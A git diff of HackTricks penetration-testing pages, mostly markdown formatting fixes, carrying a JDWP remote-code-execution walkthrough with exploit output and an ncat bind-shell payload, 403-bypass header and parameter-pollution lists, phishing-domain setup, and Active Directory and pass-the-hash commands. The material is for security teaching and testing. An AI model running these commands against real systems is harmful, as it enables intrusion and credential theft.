@ -72,7 +72,7 @@ Therefore its possible to bypass the CSP of a page with:
Note how the **previous CSP only permits the execution of the inline script**.\
However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**.
![](<../../.gitbook/assets/image (627).png>)
![](<../../.gitbook/assets/image (627) (1).png>)
Therefore, its possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**.

View file

@ -2,9 +2,9 @@
## NetBios Name Service
* Name service for name registration and resolution \(ports: 137/udp and 137/tcp\).
* Datagram distribution service for connectionless communication \(port: 138/udp\).
* Session service for connection-oriented communication \(port: 139/tcp\).
* Name service for name registration and resolution (ports: 137/udp and 137/tcp).
* Datagram distribution service for connectionless communication (port: 138/udp).
* Session service for connection-oriented communication (port: 139/tcp).
### Name Service
@ -38,11 +38,11 @@ PORT STATE SERVICE VERSION
Session mode lets two computers establish a connection for a "conversation", allows larger messages to be handled, and provides error detection and recovery.
Sessions are established by exchanging packets. The computer establishing the session attempts to make a [TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) connection to port 139 on the computer with which the session is to be established. If the connection is made, the computer establishing the session then sends over the connection a "Session Request" packet with the NetBIOS names of the application establishing the session and the NetBIOS name to which the session is to be established. The computer with which the session is to be established will respond with a "Positive Session Response" indicating that a session can be established or a "Negative Session Response" indicating that no session can be established \(either because that computer isn't listening for sessions being established to that name or because no resources are available to establish a session to that name\).
Sessions are established by exchanging packets. The computer establishing the session attempts to make a [TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol) connection to port 139 on the computer with which the session is to be established. If the connection is made, the computer establishing the session then sends over the connection a "Session Request" packet with the NetBIOS names of the application establishing the session and the NetBIOS name to which the session is to be established. The computer with which the session is to be established will respond with a "Positive Session Response" indicating that a session can be established or a "Negative Session Response" indicating that no session can be established (either because that computer isn't listening for sessions being established to that name or because no resources are available to establish a session to that name).
Data is transmitted during an established session by Session Message packets.
TCP handles flow control and retransmission of all session service packets, and the dividing of the data stream over which the packets are transmitted into [IP](https://en.wikipedia.org/wiki/Internet_Protocol) datagrams small enough to fit in link-layer packets.
TCP handles flow control and retransmission of all session service packets, and the dividing of the data stream over which the packets are transmitted into [IP](https://en.wikipedia.org/wiki/Internet\_Protocol) datagrams small enough to fit in link-layer packets.
Sessions are closed by closing the TCP connection.
@ -53,11 +53,13 @@ PORT STATE SERVICE VERSION
**Read the next page to learn how to enumerate this service:**
{% page-ref page="pentesting-smb.md" %}
{% content-ref url="broken-reference" %}
[Broken link](broken-reference)
{% endcontent-ref %}
## HackTricks Automatic Commands
```text
```
Protocol_Name: Netbios #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Netbios #Protocol Abbreviation Spelled out
@ -79,4 +81,3 @@ Entry_2:
Description: Three scans to find the names of the server
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
```

View file

@ -15,11 +15,11 @@ I found that the use of` --break-on 'java.lang.String.indexOf'` make the exploit
Normally this debugger is run on port 8000 and if you establish a TCP connection with the port and send "**JDWP-Handshake**", the server should respond you with the same string.\
Also, you can check this string in the network to find possible JDWP services.
Listing **processes**, if you find the string "**jdwk**" inside a **java process**, probably it has active the **Java Debug Wired Protocol **and you may be able to move laterally or even **escalate privileges** (if executed as root).
Listing **processes**, if you find the string "**jdwk**" inside a **java process**, probably it has active the \*\*Java Debug Wired Protocol \*\*and you may be able to move laterally or even **escalate privileges** (if executed as root).
## More details
**Copied from **[**https://ioactive.com/hacking-java-debug-wire-protocol-or-how/**](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)****
**Copied from **[**https://ioactive.com/hacking-java-debug-wire-protocol-or-how/**](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)
### **Java Debug Wire Protocol**
@ -40,11 +40,11 @@ As shown in the architecture diagram, the Java Debug Wire Protocol is the centra
All of these observations make total sense since we are talking about a debugging protocol. However, when such a service is exposed to a hostile network, or is Internet facing, things could go wrong.\
\
**Handshake**: JDWP dictates\[9] that communication must be initiated by a simple handshake. Upon successful TCP connection, the Debugger (client) sends the 14-character ASCII string “JDWP-Handshake”. The Debuggee (server) responds to this message by sending the exact same string. The following scapy\[3] trace shows the initial two-way handshake:
**Handshake**: JDWP dictates\[9] that communication must be initiated by a simple handshake. Upon successful TCP connection, the Debugger (client) sends the 14-character ASCII string “JDWP-Handshake”. The Debuggee (server) responds to this message by sending the exact same string. The following scapy\[3] trace shows the initial two-way handshake:
root:\~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:\~/tools/scapy-hg # ./run_scapy
root:\~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:\~/tools/scapy-hg # ./run\_scapy
Welcome to Scapy (2.2.0-dev)\
Welcome to Scapy (2.2.0-dev)\
**>>>** sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)\
\<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>\
**>>>** tcp.hexraw()\
@ -52,26 +52,25 @@ All of these observations make total sense since we are talking about a debuggin
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA\
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A\
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw\
**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\
**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw\
**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\
**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
An experienced security auditor may have already realised that such a simple handshake offers a way to easily uncover live JDWP services on the Internet. Just send one simple probe and check for the specific response. More interestingly, a behavior was observed on the IBM Java Development Kit when scanning with ShodanHQ\[4] with the server “talking” first with the very same banner mentioned. As a consequence, there is a totally passive way to discover an active JDWP service (this is covered later on in this article with the help of the (in)famous Shodan).\
An experienced security auditor may have already realised that such a simple handshake offers a way to easily uncover live JDWP services on the Internet. Just send one simple probe and check for the specific response. More interestingly, a behavior was observed on the IBM Java Development Kit when scanning with ShodanHQ\[4] with the server “talking” first with the very same banner mentioned. As a consequence, there is a totally passive way to discover an active JDWP service (this is covered later on in this article with the help of the (in)famous Shodan).\
\
**Communication**: JDWP defines messages\[10] involved in communications between the Debugger and the Debuggee. The messages follow a simple structure, defined as follows: [![](https://ioactive.com/wp-content/uploads/2014/04/createstring.png)](https://ioactive.com/wp-content/uploads/2014/04/createstring-1.png)
**Communication**: JDWP defines messages\[10] involved in communications between the Debugger and the Debuggee. The messages follow a simple structure, defined as follows: [![](https://ioactive.com/wp-content/uploads/2014/04/createstring.png)](https://ioactive.com/wp-content/uploads/2014/04/createstring-1.png)
The Length and Id fields are rather self explanatory. The Flag field is only used to distinguish request packets from replies, a value of 0x80 indicating a reply packet. The CommandSet field defines the category of the Command as shown in the following table. \
\
The Length and Id fields are rather self explanatory. The Flag field is only used to distinguish request packets from replies, a value of 0x80 indicating a reply packet. The CommandSet field defines the category of the Command as shown in the following table.\
\\
| **CommandSet** | ** Command** |
| -------------- | ------------------------------------------------------------------------------------------------------------------------- |
| 0x40 | Action to be taken by the JVM (e.g. setting a BreakPoint) |
| 0x400x7F | Provide event information to the debugger (e.g. the JVM has hit a BreakPoint and is waiting for further actions) |
| 0x80 | Third-party extensions |
| **CommandSet** | \*\* Command\*\* |
| -------------- | ---------------------------------------------------------------------------------------------------------------- |
| 0x40 | Action to be taken by the JVM (e.g. setting a BreakPoint) |
| 0x400x7F | Provide event information to the debugger (e.g. the JVM has hit a BreakPoint and is waiting for further actions) |
| 0x80 | Third-party extensions |
Keeping in mind that we want to execute arbitrary code, the following commands are the most interesting for our purposes.
@ -83,26 +82,26 @@ Keeping in mind that we want to execute arbitrary code, the following commands a
Not only does JDWP allow you to access and invoke objects already residing in memory, it also allows you to create or overwrite data.
* VirtualMachine/CreateString allows you to transform a string into a java.lang.String living in the JVM runtime.
* VirtualMachine/CreateString allows you to transform a string into a java.lang.String living in the JVM runtime.
* VirtualMachine/RedefineClasses allows you to install new class definitions.
**“All your JDWP are belong to us”**
**“All your JDWP are belong to us”**
As we have seen, JDWP provides built-in commands to load arbitrary classes into the JVM memory and invoke already existing and/or newly loaded bytecode. The following section will cover the steps for creating exploitation code in Python, which behaves as a partial implementation of a JDI front end in order to be as reliable as possible. The main reason for this standalone exploit script is that, as a pentester, I like “head-shot” exploits. That is, when I know for sure an environment/application/protocol is vulnerable, I want to have my tool ready to exploit it right away (i.e. no PoC, which is basically the only thing that existed so far). So now that we have covered the theory, lets get into the practical implementation. When faced with an open JDWP service, arbitrary command execution is exactly five steps away (or with this exploit, only one command line away). Here is how it would go down: 1. Fetch Java Runtime referenceThe JVM manipulates objects through their references. For this reason, our exploit must first obtain the reference to the java.lang.Runtime class. From this class, we need the reference to the getRuntime() method. This is performed by fetching all classes (AllClasses packet) and all methods in the class we are looking for (ReferenceType/Methods packet). 2. Setup breakpoint and wait for notification (asynchronous calls)This is the key to our exploit. To invoke arbitrary code, we need to be in a running thread context. To do so, a hack is to setup a breakpoint on a method which is known to be called at runtime. As seen earlier, a breakpoint in JDI is an asynchronous event whose type is set to BREAKPOINT(0x02). When hit, the JVM sends an EventData packet to our debugger, containing our breakpoint ID, and more importantly, the reference to the thread which hit it.\
\
[![](https://ioactive.com/wp-content/uploads/2014/04/event_break.png)](https://ioactive.com/wp-content/uploads/2014/04/event_break-1.png)
[![](https://ioactive.com/wp-content/uploads/2014/04/event\_break.png)](https://ioactive.com/wp-content/uploads/2014/04/event\_break-1.png)
It is therefore a good idea to set it on a frequently called method, such as java.net.ServerSocket.accept(), which is very likely to be called every time the server receives a new network connection. However, one must bear in mind that it could be any method existing at runtime. 3. Allocating a Java String object in Runtime to carry out the payloadWe will execute code in the JVM runtime, so all of our manipulated data (such as string) must exist in the JVM runtime (i.e. possess an runtime reference). This is done quite easily by sending a CreateString command.
It is therefore a good idea to set it on a frequently called method, such as java.net.ServerSocket.accept(), which is very likely to be called every time the server receives a new network connection. However, one must bear in mind that it could be any method existing at runtime. 3. Allocating a Java String object in Runtime to carry out the payloadWe will execute code in the JVM runtime, so all of our manipulated data (such as string) must exist in the JVM runtime (i.e. possess an runtime reference). This is done quite easily by sending a CreateString command.
[![](https://ioactive.com/wp-content/uploads/2014/04/Untitled.png)](https://ioactive.com/wp-content/uploads/2014/04/Untitled-1.png)
[![](https://ioactive.com/wp-content/uploads/2014/04/Untitled.png)](https://ioactive.com/wp-content/uploads/2014/04/Untitled-1.png)
4\. Get Runtime object from breakpoint contextAt this point we have almost all of the elements we need for a successful, reliable exploitation. What we are missing is a Runtime object reference. Obtaining it is easy, and we can simply execute in the JVM runtime the java.lang.Runtime.getRuntime() static method\[8] by sending a ClassType/InvokeMethod packet and providing the Runtime class and thread references. 5. Lookup and invoke exec() method in Runtime instanceThe final step is simply looking for the exec() method in the Runtime static object obtained for the previous step and invoking it (by sending a ObjectReference/InvokeMethod packet) with the String object we created in step three. [![](https://ioactive.com/wp-content/uploads/2014/04/exec.png)](https://ioactive.com/wp-content/uploads/2014/04/exec-1.png)
4\. Get Runtime object from breakpoint contextAt this point we have almost all of the elements we need for a successful, reliable exploitation. What we are missing is a Runtime object reference. Obtaining it is easy, and we can simply execute in the JVM runtime the java.lang.Runtime.getRuntime() static method\[8] by sending a ClassType/InvokeMethod packet and providing the Runtime class and thread references. 5. Lookup and invoke exec() method in Runtime instanceThe final step is simply looking for the exec() method in the Runtime static object obtained for the previous step and invoking it (by sending a ObjectReference/InvokeMethod packet) with the String object we created in step three. [![](https://ioactive.com/wp-content/uploads/2014/04/exec.png)](https://ioactive.com/wp-content/uploads/2014/04/exec-1.png)
Et voilà !! Swift and easy. As a demonstration, lets start a Tomcat running with JPDA “debug mode” enabled:
root@pwnbox:\~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start
root@pwnbox:\~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start
We execute our script without a command to execute, to simply get general system information:
We execute our script without a command to execute, to simply get general system information:
```
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
@ -137,7 +136,7 @@ hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 break-on java.lan
[!] Command successfully executed
```
We execute our exploit to spawn a bind shell with the payload “ncat -e /bin/bash -l -p 1337”, against a Linux system:
We execute our exploit to spawn a bind shell with the payload “ncat -e /bin/bash -l -p 1337”, against a Linux system:
```
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 cmd ncat -l -p 1337 -e /bin/bash
@ -157,18 +156,18 @@ tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 192
tcp6 0 0 :::1337 :::* LISTEN 19242/ncat
```
The final exploit uses those techniques, adds a few checks, and sends suspend/resume signals to cause as little disruption as possible (its always best not to break the application youre working on, right?). It acts in two modes:
The final exploit uses those techniques, adds a few checks, and sends suspend/resume signals to cause as little disruption as possible (its always best not to break the application youre working on, right?). It acts in two modes:
* “Default” mode is totally non intrusive and simply executes Java code to get local system information (perfect for a PoC to a client).
* Passing the “cmd” option executes a system command on the remote host and is therefore more intrusive. The command is done with the privileges the JVM is running with.
This exploit script was successfully tested against:
This exploit script was successfully tested against:
* Oracle Java JDK 1.6 and 1.7
* OpenJDK 1.6
* IBM JDK 1.6
As Java is platform-independent by design, commands can be executed on any operating system that Java supports. Well this is actually good news for us pentesters: **open JDWP service means reliable RCE**. So far, so good.
As Java is platform-independent by design, commands can be executed on any operating system that Java supports. Well this is actually good news for us pentesters: **open JDWP service means reliable RCE**. So far, so good.
### **What about real-life exploitation?**
@ -178,7 +177,7 @@ As a matter of fact, JDWP is used quite a lot in the Java application world. Pen
![](https://ioactive.com/wp-content/uploads/2014/04/shodan.png)
This is actually an interesting finding because, as weve seen before, it is supposed to be the client-side (debugger) that initiates dialogue.
This is actually an interesting finding because, as weve seen before, it is supposed to be the client-side (debugger) that initiates dialogue.
* GitHub\[7] also reveals a significant number of potentially vulnerable open-source applications:
@ -187,20 +186,20 @@ As a matter of fact, JDWP is used quite a lot in the Java application world. Pen
* masscan-ing the Internet looking for specific ports (tcp/8000, tcp/8080, tcp/8787, tcp/5005) revealed many hosts (which cannot be reported here) responding to the initial handshake.
* “Enterprise” applications were found in the wild running a JDWP service \*by default\* (finding the actual port number is left as an exercise to the curious reader).
These are just a few ways to discover open JDWP services on the Internet. This is a great reminder that applications should regularly undergo thorough security reviews, production environments should have any debugging functionality turned off, and firewalls should be configured to restrict access to services required for normal operation only. Allowing anybody to connect to a JDWP service is exactly the same as allowing a connection to a gdbserver service (in what may be a more stable way). I hope you enjoyed reading this article as much as I enjoyed playing with JDWP. To yall mighty pirates, happy JDWP pwning !!
These are just a few ways to discover open JDWP services on the Internet. This is a great reminder that applications should regularly undergo thorough security reviews, production environments should have any debugging functionality turned off, and firewalls should be configured to restrict access to services required for normal operation only. Allowing anybody to connect to a JDWP service is exactly the same as allowing a connection to a gdbserver service (in what may be a more stable way). I hope you enjoyed reading this article as much as I enjoyed playing with JDWP. To yall mighty pirates, happy JDWP pwning !!
**Thanks**\
\
****I would like to thank Ilja Van Sprundel and Sebastien Macke for their ideas and tests.
\*\*\*\*I would like to thank Ilja Van Sprundel and Sebastien Macke for their ideas and tests.
### **References:**
1. [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
2. [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
3. http://www.secdev.org/projects/scapy(no longer active)
4. [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
5. http://www.hsc-news.com/archives/2013/000109.html (no longer active)
6. [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
4. [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
5. http://www.hsc-news.com/archives/2013/000109.html (no longer active)
6. [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
7. https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
8. [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
9. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)

View file

@ -13,11 +13,11 @@ Try using **different verbs** to access the file: `GET, HEAD, POST, PUT, DELETE,
* Try to [**use other User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) to access the resource.
* **Fuzz HTTP Headers**: Try using HTTP Proxy **Headers**, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques. To do all of this I have created the tool [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
* `X-Originating-IP: 127.0.0.1`
* `X-Originating-IP: 127.0.0.1`&#x20;
* `X-Forwarded-For: 127.0.0.1`
* `X-Forwarded: 127.0.0.1`
* `Forwarded-For: 127.0.0.1`
* `X-Remote-IP: 127.0.0.1`
* `X-Remote-IP: 127.0.0.1`&#x20;
* `X-Remote-Addr: 127.0.0.1`
* `X-ProxyUser-Ip: 127.0.0.1`
* `X-Original-URL: 127.0.0.1`
@ -30,7 +30,7 @@ Try using **different verbs** to access the file: `GET, HEAD, POST, PUT, DELETE,
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* If the page is** behind a proxy**, maybe it's the proxy the one preventing you you to access the private information. Try abusing [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling.md)** or **[**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
* If the page is** behind a proxy**, maybe it's the proxy the one preventing you you to access the private information. Try abusing [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/)** or **[**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
* Fuzz [**special HTTP headers**](special-http-headers.md) looking for different response.
* **Fuzz special HTTP headers **while fuzzing **HTTP Methods**.
@ -56,14 +56,14 @@ If _/path_ is blocked:
* /FUZZ/secret
* /secretFUZZ
* **Other API bypasses:**
* /v3/users_data/1234 --> 403 Forbidden
* /v1/users_data/1234 --> 200 OK
* /v3/users\_data/1234 --> 403 Forbidden&#x20;
* /v1/users\_data/1234 --> 200 OK
* {“id”:111} --> 401 Unauthriozied
* {“id”:\[111]} --> 200 OK
* {“id”:111} --> 401 Unauthriozied
* {“id”:{“id”:111}} --> 200 OK
* {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Pollution)
* user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (JSON Parameter Pollution)
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parameter Pollution)
## **Other Bypasses**

View file

@ -46,8 +46,8 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
* `Content-Length: 30`
* `Transfer-Encoding: chunked`
{% content-ref url="../../pentesting-web/http-request-smuggling.md" %}
[http-request-smuggling.md](../../pentesting-web/http-request-smuggling.md)
{% content-ref url="../../pentesting-web/http-request-smuggling/" %}
[http-request-smuggling](../../pentesting-web/http-request-smuggling/)
{% endcontent-ref %}
## Cache Headers

View file

@ -79,7 +79,7 @@ In order to make sure that the expired domain that you are going to buy **has al
* [https://hunter.io/](https://hunter.io)
* [https://anymailfinder.com/](https://anymailfinder.com)
In order to **discover more** valid email addresses or **verify the ones** you have already discovered you can check if you can brute-force them smtp servers of the victim. [Learn how to verify/discover email address here](../pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
In order to **discover more** valid email addresses or **verify the ones** you have already discovered you can check if you can brute-force them smtp servers of the victim. [Learn how to verify/discover email address here](broken-reference).\
Moreover, don't forget that if the users use **any web portal to access their mails**, you can check if it's vulnerable to **username brute force**, and exploit the vulnerability if possible.
## Configuring GoPhish
@ -252,8 +252,8 @@ Set a rDNS (PTR) record that resolves the IP address of the VPS to the domain na
You must **configure a SPF record for the new domain**. If you don't know what is a SPF record read the following page:
{% content-ref url="../pentesting/pentesting-smtp/" %}
[pentesting-smtp](../pentesting/pentesting-smtp/)
{% content-ref url="broken-reference" %}
[Broken link](broken-reference)
{% endcontent-ref %}
You can use [https://www.spfwizard.net/](https://www.spfwizard.net) to generate your SPF policy (use the IP of the VPS machine)
@ -270,8 +270,8 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all
You must **configure a DMARC record for the new domain**. If you don't know what is a DMARC record read the following page:
{% content-ref url="../pentesting/pentesting-smtp/" %}
[pentesting-smtp](../pentesting/pentesting-smtp/)
{% content-ref url="broken-reference" %}
[Broken link](broken-reference)
{% endcontent-ref %}
You have to create a new DNS TXT record pointing the hostname `_dmarc.<domain>` with the following content:
@ -284,8 +284,8 @@ v=DMARC1; p=none
You must **configure a DKIM for the new domain**. If you don't know what is a DMARC record read the following page:
{% content-ref url="../pentesting/pentesting-smtp/" %}
[pentesting-smtp](../pentesting/pentesting-smtp/)
{% content-ref url="broken-reference" %}
[Broken link](broken-reference)
{% endcontent-ref %}
This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)

View file

@ -18,7 +18,7 @@ Main concepts of an Active Directory:
1. **Directory** Contains all the information about the objects of the Active directory
2. **Object** An object references almost anything inside the directory (a user, group, shared folder...)
3. **Domain** The objects of the directory are contained inside the domain. Inside a "forest" more than one domain can exist and each of them will have their own objects collection.
3. **Domain** The objects of the directory are contained inside the domain. Inside a "forest" more than one domain can exist and each of them will have their own objects collection.&#x20;
4. **Tree** Group of domains with the same root. Example: _dom.local, email.dom.local, www.dom.local_
5. **Forest** The forest is the highest level of the organization hierarchy and is composed by a group of trees. The trees are connected by trust relationships.
@ -32,7 +32,7 @@ Active Directory provides several different services, which fall under the umbre
6. **DNS Service** Used to resolve domain names.
AD DS is included with Windows Server (including Windows Server 10) and is designed to manage client systems. While systems running the regular version of Windows do not have the administrative features of AD DS, they do support Active Directory. This means any Windows computer can connect to a Windows workgroup, provided the user has the correct login credentials.\
**From:** [**https://techterms.com/definition/active_directory**](https://techterms.com/definition/active_directory)
**From:** [**https://techterms.com/definition/active\_directory**](https://techterms.com/definition/active\_directory)
### **Kerberos Authentication**
@ -52,7 +52,7 @@ If you just have access to an AD environment but you don't have any credentials/
* `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
* `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
* `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
* [**A more detailed guide on how to enumerate a SMB server can be found here.**](../../pentesting/pentesting-smb.md)
* [**A more detailed guide on how to enumerate a SMB server can be found here.**](broken-reference)
* **Enumerate Ldap**:
* `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
* [**A more detailed guide on how to enumerate LDAP can be found here.**](../../pentesting/pentesting-ldap.md)
@ -64,7 +64,7 @@ If you just have access to an AD environment but you don't have any credentials/
### User enumeration
When an **invalid username is requested** the server will respond using the **Kerberos error** code _**KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN**_, allowing us to determine that the username was invalid. **Valid usernames** will illicit either the **TGT in a AS-REP** response **or** the error _**KRB5KDC_ERR_PREAUTH_REQUIRED**_, indicating that the user is required to perform pre-authentication.
When an **invalid username is requested** the server will respond using the **Kerberos error** code _**KRB5KDC\_ERR\_C\_PRINCIPAL\_UNKNOWN**_, allowing us to determine that the username was invalid. **Valid usernames** will illicit either the **TGT in a AS-REP** response **or** the error _**KRB5KDC\_ERR\_PREAUTH\_REQUIRED**_, indicating that the user is required to perform pre-authentication.
```
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
@ -81,7 +81,7 @@ You could also use the **impacket script of ASREPRoast** to enumerate valid user
Ok, so you know you have already a valid username but no passwords...Then try:
* [**ASREPRoast**](asreproast.md): If a user **doesn't have** the attribute _**DONT_REQ_PREAUTH**_ you can **request a AS_REP message** for that user that will contain some data encrypted by a derivation of the password of the user.
* [**ASREPRoast**](asreproast.md): If a user **doesn't have** the attribute _**DONT\_REQ\_PREAUTH**_ you can **request a AS\_REP message** for that user that will contain some data encrypted by a derivation of the password of the user.
* [**Password Spraying**](password-spraying.md): Let's **try** the most **common passwords** with each of the discovered users, maybe some user is using a bad password (keep in mind the password policy)
* A final option if the accounts cannot be locked is the [**traditional bruteforce**](password-spraying.md)****
@ -154,7 +154,7 @@ Also, if a MSSQL instance is trusted (database link) by a different MSSQL instan
### **Unconstrained Delegation**
**If you find any Computer object with the attribute** [ADS_UF_TRUSTED_FOR_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) and you have domain privileges in the computer, you will be able to dump TGTs from memory of every users that logins onto the computer.\
**If you find any Computer object with the attribute** [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) and you have domain privileges in the computer, you will be able to dump TGTs from memory of every users that logins onto the computer.\
So, if a **Domain Admin logins onto the computer**, you will be able to dump his TGT and impersonate him using [Pass the Ticket](pass-the-ticket.md).\
Thanks to constrained delegation you could even **automatically compromise a Print Server** (hopefully it will be a DC).\
[**More information about this technique here.**](unconstrained-delegation.md)
@ -275,13 +275,13 @@ A trust relationship can also be **transitive** (A trust B, B trust C, then A tr
1. **Enumerate** the trusting relationships
2. Check if any **security principal** (user/group/computer) has **access** to resources of the **other domain**, maybe by ACE entries or by being in groups of the other domain. Look for **relationships across domains** (the trust was created for this probably).
1. kerberoast in this case could be another option.
3. **Compromise** the **accounts** which can **pivot** through domains.
3. **Compromise** the **accounts** which can **pivot** through domains.&#x20;
There are three **main** ways that security principals (users/groups/computer) from one domain can have access into resources in another foreign/trusting domain:
* They can be added to **local groups** on individual machines, i.e. the local “Administrators” group on a server.
* They can be added to **groups in the foreign domain**. There are some caveats depending on trust type and group scope, described shortly.
* They can be added as principals in an **access control list**, most interesting for us as principals in **ACEs** in a **DACL**. For more background on ACLs/DACLs/ACEs, check out the “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” whitepaper.
* They can be added as principals in an **access control list**, most interesting for us as principals in **ACEs** in a **DACL**. For more background on ACLs/DACLs/ACEs, check out the “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an\_ace\_up\_the\_sleeve.pdf)” whitepaper.
### Child-to-Parent forest privilege escalation
@ -371,7 +371,7 @@ Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<current
**For user objects:**
* ObjectSID (different from the domain)
* lastLogon, lastlogontimestamp
* lastLogon, lastlogontimestamp&#x20;
* Logoncount (very low number is suspicious)
* whenCreated
* Badpwdcount (very low number is suspicious)

View file

@ -84,7 +84,7 @@ Remember that the printer will use the computer account during the authenticatio
The **challenge length is 8 bytes** and **2 responses are sent**: One is **24 bytes** long and the length of the **other **is **variable**.
**The first response** is created by ciphering using **HMAC_MD5 **the **string **composed by the **client and the domain** and using as **key **the **hash MD4 **of the** NT hash**. Then, the **result **will by used as **key **to cipher using **HMAC_MD5 **the **challenge**. To this, **a client challenge of 8 bytes will be added**. Total: 24 B.
**The first response** is created by ciphering using **HMAC\_MD5 **the **string **composed by the **client and the domain** and using as **key **the **hash MD4 **of the** NT hash**. Then, the **result **will by used as **key **to cipher using **HMAC\_MD5 **the **challenge**. To this, **a client challenge of 8 bytes will be added**. Total: 24 B.
The **second response** is created using** several values** (a new client challenge, a **timestamp **to avoid **replay attacks**...)
@ -110,13 +110,13 @@ This will launch a process that will belongs to the users that have launch mimik
### Pass-the-Hash from linux
You can obtain code execution in Windows machines using Pass-the-Hash from Linux. \
[**Access here to learn how to do it.**](../../pentesting/pentesting-smb.md#execute)****
[**Access here to learn how to do it.**](broken-reference)****
### Impacket Windows compiled tools
You can download[ impacket binaries for Windows here](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries).
You can download[ impacket binaries for Windows here](https://github.com/ropnop/impacket\_static\_binaries/releases/tag/0.9.21-dev-binaries).
* **psexec_windows.exe **`C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
